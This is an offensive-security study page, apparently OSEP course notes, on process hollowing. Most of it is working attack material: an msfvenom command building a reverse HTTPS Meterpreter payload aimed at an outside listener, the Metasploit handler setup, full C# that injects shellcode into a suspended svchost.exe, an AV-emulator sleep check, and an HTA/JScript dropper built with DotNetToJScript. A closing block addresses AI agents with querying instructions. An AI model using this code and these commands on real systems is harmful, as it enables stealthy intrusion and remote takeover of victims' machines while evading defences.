> For the complete documentation index, see [llms.txt](https://osnotes.jackielam.net/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://osnotes.jackielam.net/osep/attack/evasions/process-hollowing.md).

# Process Hollowing

{% embed url="<https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Start-Hollow.ps1>" %}
\*start-hollow\.ps1
{% endembed %}

<pre data-title="c# shellcode:" data-overflow="wrap"><code><a data-footnote-ref href="#user-content-fn-1">msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f csharp</a>
</code></pre>

{% hint style="info" %}
process to hollow: *svchost.exe* is `64-bit`, need to match it
{% endhint %}

{% code title="listener:" overflow="wrap" %}

```bash
sudo msfconsole -q -x "use exploit/multi/handler"
set payload windows/x64/meterpreter/reverse_https
set lhost 192.168.119.120
set lport 443
run
```

{% endcode %}

<pre class="language-csharp" data-title="hollow.exe" data-overflow="wrap" data-line-numbers data-full-width="true"><code class="lang-csharp">using System;
using System.Runtime.InteropServices;

namespace hollow
{
    internal class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,
        IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,
        uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
        struct STARTUPINFO
        {
            public Int32 cb;
            public IntPtr lpReserved;
            public IntPtr lpDesktop;
            public IntPtr lpTitle;
            public Int32 dwX;
            public Int32 dwY;
            public Int32 dwXSize;
            public Int32 dwYSize;
            public Int32 dwXCountChars;
            public Int32 dwYCountChars;
            public Int32 dwFillAttribute;
            public Int32 dwFlags;
            public Int16 wShowWindow;
            public Int16 cbReserved2;
            public IntPtr lpReserved2;
            public IntPtr hStdInput;
            public IntPtr hStdOutput;
            public IntPtr hStdError;
        }
        [StructLayout(LayoutKind.Sequential)]
        internal struct PROCESS_INFORMATION
        {
            public IntPtr hProcess;
            public IntPtr hThread;
            public int dwProcessId;
            public int dwThreadId;
        }

        [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
        private static extern int ZwQueryInformationProcess(IntPtr hProcess,
        int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,
        uint ProcInfoLen, ref uint retlen);

        [StructLayout(LayoutKind.Sequential)]
        internal struct PROCESS_BASIC_INFORMATION
        {
            public IntPtr Reserved1;
            public IntPtr PebAddress;
            public IntPtr Reserved2;
            public IntPtr Reserved3;
            public IntPtr UniquePid;
            public IntPtr MoreReserved;
        }

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
            [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);

        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, 
            byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll", SetLastError = true)]
        private static extern uint ResumeThread(IntPtr hThread);

        [DllImport("kernel32.dll")]
        static extern void Sleep(uint dwMilliseconds);
                
        static void Main(string[] args)
        {
            DateTime t1 = DateTime.Now;
            <a data-footnote-ref href="#user-content-fn-2">Sleep(2000);</a>
            double t2 = DateTime.Now.Subtract(t1).TotalSeconds;
            if(t2 &#x3C; 1.5)
            {
                return;
            }
            
            <a data-footnote-ref href="#user-content-fn-3">STARTUPINFO si = new STARTUPINFO();</a>
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();

            bool res = CreateProcess(<a data-footnote-ref href="#user-content-fn-4">null, "C:\\Windows\\System32\\svchost.exe"</a>, <a data-footnote-ref href="#user-content-fn-5">IntPtr.Zero</a>,
                <a data-footnote-ref href="#user-content-fn-5">IntPtr.Zero</a>, <a data-footnote-ref href="#user-content-fn-6">false</a>, <a data-footnote-ref href="#user-content-fn-7">0x4</a>, <a data-footnote-ref href="#user-content-fn-8">IntPtr.Zero, null</a>, <a data-footnote-ref href="#user-content-fn-9">ref si</a>, <a data-footnote-ref href="#user-content-fn-10">out pi</a>);


            PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
            uint tmp = 0;
            IntPtr hProcess = pi.hProcess;
            <a data-footnote-ref href="#user-content-fn-11">ZwQueryInformationProcess</a>(<a data-footnote-ref href="#user-content-fn-12">hProcess</a>, <a data-footnote-ref href="#user-content-fn-13">0</a>, <a data-footnote-ref href="#user-content-fn-14">ref bi</a>, <a data-footnote-ref href="#user-content-fn-15">(uint)(IntPtr.Size * 6)</a>, <a data-footnote-ref href="#user-content-fn-16">ref tmp</a>);

            <a data-footnote-ref href="#user-content-fn-17">IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10)</a>;


            byte[] addrBuf = new byte[IntPtr.Size];
            IntPtr nRead = IntPtr.Zero;
            <a data-footnote-ref href="#user-content-fn-18">ReadProcessMemory</a>(<a data-footnote-ref href="#user-content-fn-19">hProcess</a>, <a data-footnote-ref href="#user-content-fn-20">ptrToImageBase</a>, <a data-footnote-ref href="#user-content-fn-21">addrBuf</a>, <a data-footnote-ref href="#user-content-fn-22">addrBuf.Length</a>, <a data-footnote-ref href="#user-content-fn-23">out nRead</a>);

            <a data-footnote-ref href="#user-content-fn-24">IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));</a>


            byte[] data = new byte[0x200];
            <a data-footnote-ref href="#user-content-fn-25">ReadProcessMemory(hProcess, svchostBase, data, data.Length, out nRead);</a>


            <a data-footnote-ref href="#user-content-fn-26">uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3C);</a>

            <a data-footnote-ref href="#user-content-fn-27">uint opthdr = e_lfanew_offset + 0x28;</a>

            <a data-footnote-ref href="#user-content-fn-28">uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr);</a>

            <a data-footnote-ref href="#user-content-fn-29">IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);</a>


            <a data-footnote-ref href="#user-content-fn-30">byte[] buf = new byte[6] {</a>
            0xfc,0x48,0x83,0xe4,0xf0,0xe8};

            // decryptor if used evasion encryptor
            //for (int i = 0; i &#x3C; buf.Length; i++)
            //{
            //    buf[i] = (byte)(((uint)buf[i] - 2) &#x26; 0xFF);
            //}

            <a data-footnote-ref href="#user-content-fn-31">WriteProcessMemory(hProcess, addressOfEntryPoint, buf, buf.Length, out nRead);</a>


            <a data-footnote-ref href="#user-content-fn-32">ResumeThread(pi.hThread);</a>
        }
    }
}
</code></pre>

{% hint style="info" %}
This is to create a suspended process, hollow out its original code, replace it with our shellcode, and subsequently execute it, resulting in a reverse Meterpreter shell executing inside a svchost.exe process, possibly evading suspicion since it is a trusted process that also engages in network communications.

While the code and technique here only writes shellcode into the suspended process, we could also use this technique to [hollow an entire compiled EXE](< https://github.com/m0n0ph1/Process-Hollowing>).
{% endhint %}

<pre class="language-csharp" data-title="Hollow4DotNetToJscript.dll" data-overflow="wrap" data-line-numbers data-full-width="true"><code class="lang-csharp">using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

[ComVisible(true)]
public class TestClass
{
    [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)]
    static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,
    IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,
    uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,
        [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);

    [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)]
    struct STARTUPINFO
    {
        public Int32 cb;
        public IntPtr lpReserved;
        public IntPtr lpDesktop;
        public IntPtr lpTitle;
        public Int32 dwX;
        public Int32 dwY;
        public Int32 dwXSize;
        public Int32 dwYSize;
        public Int32 dwXCountChars;
        public Int32 dwYCountChars;
        public Int32 dwFillAttribute;
        public Int32 dwFlags;
        public Int16 wShowWindow;
        public Int16 cbReserved2;
        public IntPtr lpReserved2;
        public IntPtr hStdInput;
        public IntPtr hStdOutput;
        public IntPtr hStdError;
    }
    [StructLayout(LayoutKind.Sequential)]
    internal struct PROCESS_INFORMATION
    {
        public IntPtr hProcess;
        public IntPtr hThread;
        public int dwProcessId;
        public int dwThreadId;
    }

    [DllImport("ntdll.dll", CallingConvention = CallingConvention.StdCall)]
    private static extern int ZwQueryInformationProcess(IntPtr hProcess,
    int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation,
    uint ProcInfoLen, ref uint retlen);

    [StructLayout(LayoutKind.Sequential)]
    internal struct PROCESS_BASIC_INFORMATION
    {
        public IntPtr Reserved1;
        public IntPtr PebAddress;
        public IntPtr Reserved2;
        public IntPtr Reserved3;
        public IntPtr UniquePid;
        public IntPtr MoreReserved;
    }

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
        [Out] byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead);

    [DllImport("kernel32.dll")]
    static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress,
        byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern uint ResumeThread(IntPtr hThread);

    [DllImport("kernel32.dll")]
    static extern void Sleep(uint dwMilliseconds);
            
    public TestClass()
    {
        DateTime t1 = DateTime.Now; 
       <a data-footnote-ref href="#user-content-fn-2"> Sleep(2000);</a>
        double t2 = DateTime.Now.Subtract(t1).TotalSeconds;
        if(t2 &#x3C; 1.5)
        {
            return;
        }
        
        STARTUPINFO si = new STARTUPINFO();
        PROCESS_INFORMATION pi = new PROCESS_INFORMATION();

        bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero,
            IntPtr.Zero, false, 0x4, IntPtr.Zero, null, ref si, out pi);


        PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
        uint tmp = 0;
        IntPtr hProcess = pi.hProcess;
        ZwQueryInformationProcess(hProcess, 0, ref bi, (uint)(IntPtr.Size * 6), ref tmp);

        IntPtr ptrToImageBase = (IntPtr)((Int64)bi.PebAddress + 0x10);


        byte[] addrBuf = new byte[IntPtr.Size];
        IntPtr nRead = IntPtr.Zero;
        ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead);

        IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0));


        byte[] data = new byte[0x200];
        ReadProcessMemory(hProcess, svchostBase, data, data.Length, out nRead);


        uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3C);

        uint opthdr = e_lfanew_offset + 0x28;

        uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr);

        IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase);


        <a data-footnote-ref href="#user-content-fn-30">byte[] buf = new byte[6] {</a>
            0xfc,0x48,0x83,0xe4,0xf0,0xe8};

            // decryptor if used evasion encryptor
            //for (int i = 0; i &#x3C; buf.Length; i++)
            //{
            //    buf[i] = (byte)(((uint)buf[i] - 2) &#x26; 0xFF);
            //}

        WriteProcessMemory(hProcess, addressOfEntryPoint, buf, buf.Length, out nRead);


        ResumeThread(pi.hThread);
    }

    public void RunProcess(string path)
    {
        Process.Start(path);
    }
}
</code></pre>

{% hint style="info" %}
Match shellcode architecture (*svchost.exe* is `64-bit`) in compiling
{% endhint %}

<pre data-title="4DotNetToJscript.dll -> .js" data-overflow="wrap"><code><a data-footnote-ref href="#user-content-fn-33">DotNetToJScript.exe</a> Hollow4DotNetToScript.dll --lang=Jscript --ver=v4 -o demo.js
</code></pre>

```
python -m http.server 80
```

<pre class="language-html" data-title=".js -> .hta" data-overflow="wrap" data-line-numbers data-full-width="true"><code class="lang-html">&#x3C;html>
    &#x3C;head>
        <a data-footnote-ref href="#user-content-fn-34">&#x3C;script language="JScript"></a>
            function setversion() {
			new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319';
			}
			function debug(s) {}
			function base64ToStream(b) {
				var enc = new ActiveXObject("System.Text.ASCIIEncoding");
				var length = enc.GetByteCount_2(b);
				var ba = enc.GetBytes_4(b);
				var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
				ba = transform.TransformFinalBlock(ba, 0, length);
				var ms = new ActiveXObject("System.IO.MemoryStream");
				ms.Write(ba, 0, (length / 4) * 3);
				ms.Position = 0;
				return ms;
			}

			var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+
			"AAAAAAAAAAAAAAAAAAAAAAENAAAABAAAAAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3RlbS5SZWZs"+
			"ZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0ZVtdKQgAAAAKCwAA";
			var entry_class = 'TestClass';

			try {
				setversion();
				var stm = base64ToStream(serialized_obj);
				var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
				var al = new ActiveXObject('System.Collections.ArrayList');
				var d = fmt.Deserialize_2(stm);
				al.Add(undefined);
				var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
				
			} catch (e) {
				debug(e.message);
			}
        &#x3C;/script>
    &#x3C;/head>
    &#x3C;body>
        &#x3C;script language="JScript">
            self.close();
        &#x3C;/script>
    &#x3C;/body>
&#x3C;/html>
</code></pre>

[^1]: `byte[] buf = new byte[626] { 0xfc,0x48,0x83,0xe4,0xf0,0xe8...}`

[^2]: [bypass AV emulator](/osep/attack/evasions.md#sleep)

[^3]: invoke the call by first instantiating a *STARTUPINFO* and a *PROCESS\_INFORMATION* object

[^4]: set *`lpApplicationName`* to "null" and *`lpCommandLine`* to the full path of svchost.exe

[^5]: "null" to obtain the default descriptor

[^6]: specify if any handles in our current process should be inherited by the new process, but we do not care

[^7]: to launch the new process in a suspended state

[^8]: environment variable settings to be used and the current directory for the new application

[^9]: pass a *STARTUPINFO* structure, which can contain a number of values related to how the window of a new process should be configured.

[^10]: *PROCESS\_INFORMATION* structure that is populated by *CreateProcessW* with identification information about the new process, including the process ID and a handle to the process

[^11]: call *ZwQueryInformationProcess* and fetch the address of the PEB from the *PROCESS\_BASIC\_INFORMATION* structure to locate the EntryPoint by first disclosing the PEB

[^12]: a process handle that we can obtain from the *PROCESS\_INFORMATION* structure

[^13]: The API can perform many actions depending on the second argument (*ProcessInformationClass*), which is only partially documented. For our purposes, we will set this to *ProcessBasicInformation* with a numerical representation of "0".

[^14]:

[^15]: indicate the size of the input structure (six *IntPtr*)

[^16]: a variable to hold the size of the fetched data

[^17]: contains a pointer to the image base of svchost.exe in the suspended process

[^18]: to fetch the address of the code base by reading eight bytes of memory

[^19]: a process handle

[^20]: the address to read from

[^21]: a buffer to copy the content into

[^22]: the number of bytes to read

[^23]: a variable to contain the number of bytes actually read

[^24]: specifying an 8-byte buffer that is then converted to a 64bit integer through the *BitConverter.ToInt64* method and then casted to a pointer using *(IntPtr)*.

    <mark style="background-color:blue;">It is worth noting that a memory address takes up eight bytes in a 64-bit process, while it only uses four bytes in a 32-bit process, so the use of variable types, offsets, and amount of data read must be adapted.</mark>

[^25]: parse the PE header to locate the EntryPoint with a buffer size of 0x200 bytes

[^26]: read the content at offset 0x3C

    convert four bytes at offset 0x3C (*e\_lfanew* field) to an unsigned integer. As stated previously, this is the offset from the image base to the `PE header` structure.

[^27]: use content at `0x3C` as a second offset when added to `0x28`

    convert the four bytes at offset e\_lfanew plus 0x28 into an unsigned integer. This value is the offset from the image base to the `EntryPoint`

[^28]: The offset from the base address of svchost.exe to the EntryPoint is also called the relative virtual address (RVA).&#x20;

[^29]: We must add the RVA to the image base to obtain the full memory address of the EntryPoint.

[^30]: `msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f csharp`

[^31]: to overwrite the existing code with shellcode after obtaining the address of the EntryPoint

[^32]: to let the suspended thread of a remote process continue its execution

[^33]: <https://github.com/tyranid/DotNetToJScript>

[^34]: `4DotNetToJscript.dll --lang=Jscript --ver=v4 -o demo.js`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://osnotes.jackielam.net/osep/attack/evasions/process-hollowing.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
